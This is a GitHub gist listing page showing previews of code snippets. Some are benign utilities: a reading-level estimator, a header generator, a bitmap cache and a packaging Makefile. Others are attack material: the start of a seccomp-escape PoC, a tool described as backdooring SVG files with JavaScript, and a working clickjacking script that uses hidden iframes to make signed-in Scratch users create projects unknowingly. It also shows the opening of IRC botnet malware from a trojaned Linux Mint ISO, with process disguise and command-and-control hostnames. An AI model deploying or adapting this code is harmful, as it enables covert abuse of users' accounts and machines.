Skip to content

Instantly share code, notes, and snippets.

View Arinerron's full-sized avatar
:shipit:
Free and Open Source Bugs (FOSB)

Aaron Esau Arinerron

:shipit:
Free and Open Source Bugs (FOSB)
View GitHub Profile
@eevee
eevee / spabs.md
Last active February 20, 2024 08:29
tabs to spaces
@thejh
thejh / seccomp_ptrace_escape.c
Last active August 19, 2023 11:39
PoC for bypassing seccomp if ptrace is allowed (known, documented issue, even mentioned in the manpage)
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
@majestrate
majestrate / js_svg.py
Last active April 18, 2017 02:58
script to modify an svg to have js in it
#!/usr/bin/env python3
#
# tool to backdoor svg with js
#
# usage: ./js_svg.py input.svg payload.js > output.svg
#
from bs4 import BeautifulSoup as BS
from bs4 import CData
@Arinerron
Arinerron / project-creator.html
Last active February 8, 2017 04:06
Scratch project creator script here creates a ton of Scratch projects without the user knowing. WARNING: It will take a while to delete all these projects this script creates, so use with caution! The user must be signed in on Scratch.mit.edu for this to work, but really, this script can be on any site to work.
<script>
var numb = 30; // The number of projects to create
var warn = true; // Warn user about what's about to happen?
if(warn) {
var resp = prompt("Are you sure you want to create " + numb + " untitled projects? Type (y/n)");
if(resp == "y" || resp == "yes" || resp == "Y" || resp == "yep" || resp == "yeah") {
for(var i = 0; i < numb; i++) {
document.write("<div qjid=\"quickjack\" style=\"overflow: hidden; width: 1px; height: 2px; position: relative;\" id=\"cksl6\">\r\n<div class=\"ol\" style=\"position: absolute; width:1px; height: 2px; z-index:90; overflow: auto;\"><\/div><iframe name=\"cksl7\" src=\"http:\/\/scratch.mit.edu\/create\" style=\"border: 0pt none ; left: -724px; top: -32px; position: absolute; width: 1921px; height: 1078px;\" scrolling=\"no\"><\/iframe><\/div>");
}
@kurobeats
kurobeats / man.cy
Created February 21, 2016 09:00
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@MegaApuTurkUltra
MegaApuTurkUltra / internetometer-bot.php
Created February 21, 2016 20:37
How 2 git interwebz
<?php
$verbose = fopen('php://temp', 'w+');
function curl_boilerplate($curl) {
global $verbose;
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0");
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_COOKIEJAR, realpath("internetometer.cookies"));
curl_setopt($curl, CURLOPT_VERBOSE, 1);
@Arinerron
Arinerron / Reader.java
Created March 5, 2016 05:47
A really simple program in 30 lines of code to decide the grade level that a book/paragraph/sentence should be offered to.
import javax.swing.JOptionPane;
public class Reader {
public Reader() {
String text = JOptionPane.showInputDialog("Please enter a few sentences to parse.");
int level = (int) read(text);
JOptionPane.showMessageDialog(null, "The text is " + (int) Math.ceil(level) + (level == 1 ? "st" : (level == 2 ? "nd" : (level == 3 ? "rd" : "th"))) + " grader level.");
}
@Arinerron
Arinerron / HeaderGenerator.java
Last active March 30, 2017 00:28
Need a dynamic programmatic file header generator? Try this out!
import java.util.LinkedHashMap;
import java.util.Map;
public class HeaderGenerator {
private Map<String, String> map = new LinkedHashMap<String, String>();
private String separator = ": ";
private int indentation_size = 4;
private char indentation_char = ' ';
private int padding_size = 1;
private char border_char = '/';
@eviltak
eviltak / BitmapDiskCache.cs
Last active April 19, 2018 17:53
A hard disk cache for storing Bitmaps in Xamarin.Android
using System.Threading.Tasks;
using Android.Content;
using Android.Graphics;
using Java.IO;
namespace Android.Util.Graphics
{
public static class BitmapDiskCache
{
private const string Extension = @".fil";
@dgmorales
dgmorales / Makefile
Last active February 14, 2023 06:18
Example Makefile for creating deb/rpm packages with jordansissel/fpm
# This is an example Makefile for quick package creation
#
# It uses FPM [1] to generate simple packages.
# - If you need more features or a greater quality package, use debian
# standard tools for packaging.
# - Do not use checkinstall. Use FPM instead.
#
# [1] (https://github.com/jordansissel/fpm/wiki)
# IMPORTANT: